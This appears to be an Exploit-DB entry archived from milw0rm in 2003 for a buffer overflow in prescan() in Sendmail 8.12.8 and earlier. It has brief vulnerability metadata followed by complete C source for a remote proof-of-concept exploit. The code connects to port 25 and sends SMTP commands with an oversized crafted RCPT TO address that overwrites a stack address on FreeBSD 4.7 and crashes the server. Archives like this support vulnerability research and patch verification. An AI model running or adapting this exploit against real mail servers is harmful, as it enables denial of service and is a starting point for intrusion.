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Sendmail
by:
bysin
7.5
CVSS
HIGH
Buffer Overflow
Unknown
CWE
Product Name: Sendmail
Affected Version From: 8.12.8 and below
Affected Version To: 8.12.8 and below
Patch Exists: NO
Related CWE: Unknown
CPE: Unknown
Metasploit:
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Platforms Tested: Unknown
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Sendmail 8.12.8 prescan() PROOF OF CONCEPT exploit

This exploit is to prove that the bug in sendmail 8.12.8 and below is vulnerable. On successful POC exploitation, the program should crash with a segmentation fault.

Mitigation:

Unknown
Source

Exploit-DB raw data:

/*
 * Sendmail 8.12.8 prescan() PROOF OF CONCEPT exploit by bysin
 * 
 * This is to prove that the bug in sendmail 8.12.8 and below is vulnerable.
 * On sucessful POC exploitation the program should crash with the following:
 *
 * Program received signal SIGSEGV, Segmentation fault.
 * 0x5c5c5c5c in ?? ()
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

int maxarch=1;
struct arch {
	char *os; // The OS
	int pos; // The position of ebp in the stack, with the last byte being 0x00
	int apos; // The amount of bytes after pvpbuf where ebp is located
	unsigned long addr; // The pointer to the addr buffer
} archs[] = {
	{"FreeBSD 4.7-RELEASE",180,28,0xbfbfdad1},
};


/////////////////////////////////////////////////////////

#define BUFSIZE 50096

void header() {
	printf("Sendmail 8.12.8 prescan() exploit by bysin\n\n");
}

void printtargets() {
	unsigned long i;
	header();
	printf("\t  Target\t Addr\t\t OS\n");
	printf("\t-------------------------------------------\n");
	for (i=0;i<maxarch;i++) printf("\t* %d\t\t 0x%08x\t %s\n",i,archs[i].addr,archs[i].os);
	printf("\n");
}

void printresponse(char *a) {
	printf("%s\n",a);
}

void writesocket(int sock, char *buf) {
	if (send(sock,buf,strlen(buf),0) <= 0) {
		printf("Error writing to socket\n");
		exit(0);
	}
	printresponse(buf);
}

void readsocket(int sock, int response) {
	char temp[BUFSIZE];
	memset(temp,0,sizeof(temp));
	if (recv(sock,temp,sizeof(temp),0) <= 0) {
		printf("Error reading from socket\n");
		exit(0);
	}
	if (response != atol(temp)) {
		printf("Bad response: %s\n",temp);
		exit(0);
	}
	else printresponse(temp);
}

void relay(int sock) {
	while(1) {
		char temp[BUFSIZE];
		memset(temp,0,sizeof(temp));
		if (recv(sock,temp,sizeof(temp),0) <= 0) {
			printf("Server vulnerable (crashed)\n");
			exit(0);
		}
		printresponse(temp);
		if (atol(temp) == 553) {
			printf("Not exploitable\n");
			exit(0);
		}
	}
}

int main(int argc, char **argv) {
	struct sockaddr_in server;
	unsigned long ipaddr,i,j,m;
	int sock,target;
	char tmp[BUFSIZE],buf[BUFSIZE],*p,*pos=NULL;
	if (argc <= 2) {
		printf("%s <target ip> <target number>\n",argv[0]);
		printtargets();
		return 0;
	}
	target=atol(argv[2]);
	if (target < 0 || target >= maxarch) {
		printtargets();
		return 0;
	}

	header();

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Unable to create socket\n");
		exit(0);
	}
	server.sin_family = AF_INET;
	server.sin_port = htons(25);
	printf("Resolving address... ");
	fflush(stdout);
	if ((ipaddr = inet_addr(argv[1])) == -1) {
		struct hostent *hostm;
		if ((hostm=gethostbyname(argv[1])) == NULL) {
			printf("Unable to resolve address\n");
			exit(0);
		}
		memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
	}
	else server.sin_addr.s_addr = ipaddr;
	memset(&(server.sin_zero), 0, 8);
	printf("Address found\n");
	printf("Connecting... ");
	fflush(stdout);
	if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) {
		printf("Unable to connect\n");
		exit(0);
	}
	printf("Connected\n");
	printf("Sending exploit... \n");
	fflush(stdout);

	readsocket(sock,220);

	writesocket(sock,"HELO yahoo.com\r\n");
	readsocket(sock,250);

	writesocket(sock,"MAIL FROM: <a@yahoo.com>\r\n");
	readsocket(sock,250);

	memset(buf,0,sizeof(buf));
	strcpy(buf,"RCPT TO: ");
	p=buf+strlen(buf);
	for (i=1,j=0,m=0;i<1242;i++) {
		if (!(i%256)) {
			*p++=';';
			j++;
		}
		else {
			if (j < 4) *p++='A';
			else {
				if (m == archs[target].pos) pos=p;
				//if (m > archs[target].pos) *p++='B'; else
				*p++='A';
				m++;
			}
		}
	}
	if (pos) memcpy(pos,(char*)&archs[target].addr,4);
	*p++=';';
	for (i=0;i<archs[target].apos;i++) {
		*p++='\\';
		*p++=0xff;
	}
	strcat(buf,"\r\n");
	writesocket(sock,buf);

	relay(sock);
}


// milw0rm.com [2003-04-30]